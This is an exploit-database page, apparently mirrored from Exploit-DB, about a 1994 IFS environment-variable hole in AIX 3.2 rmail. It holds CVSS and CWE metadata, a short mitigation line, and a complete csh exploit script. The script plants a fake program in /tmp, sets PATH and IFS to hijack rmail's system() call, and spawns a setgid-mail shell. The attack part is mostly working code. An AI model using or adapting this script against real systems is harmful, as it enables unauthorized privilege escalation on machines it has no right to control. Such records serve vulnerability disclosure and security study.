header-logo
Suggest Exploit
vendor:
rmail
by:
None
7.2
CVSS
HIGH
Environment Variable Manipulation
77
CWE
Product Name: rmail
Affected Version From: AIX3.2
Affected Version To: AIX3.2
Patch Exists: NO
Related CWE: None
CPE: None
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
1994

IFS hole in AIX3.2 rmail

Under older versions of AIX, by changing the IFS environment variable to /, setuid root programs that use system() or popen() can be fooled into running user-provided programs.

Mitigation:

Ensure that environment variables are properly sanitized and validated before being used in system calls.
Source

Exploit-DB raw data:

#source: https://www.securityfocus.com/bid/454/info
#
#Under older versions of AIX By changing the IFS enviroment variable to / setuid root programs that use system() or popen() can be fooled into running user provided programs. 
#

#!/bin/csh
# IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994

# Setup needed files.

mkdir /tmp/.rmail
cd /tmp/.rmail

cat << EOF > usr
cp sh mailsh
chmod 2777 mailsh
EOF
chmod 777 usr
ln -s /bin/sh .

# Set PATH, IFS, and run rmail.

setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail joeuser@nohost.com
unsetenv IFS
rm -f usr sh # minor cleanup.
echo "Attempting to run sgid shell."
./mailsh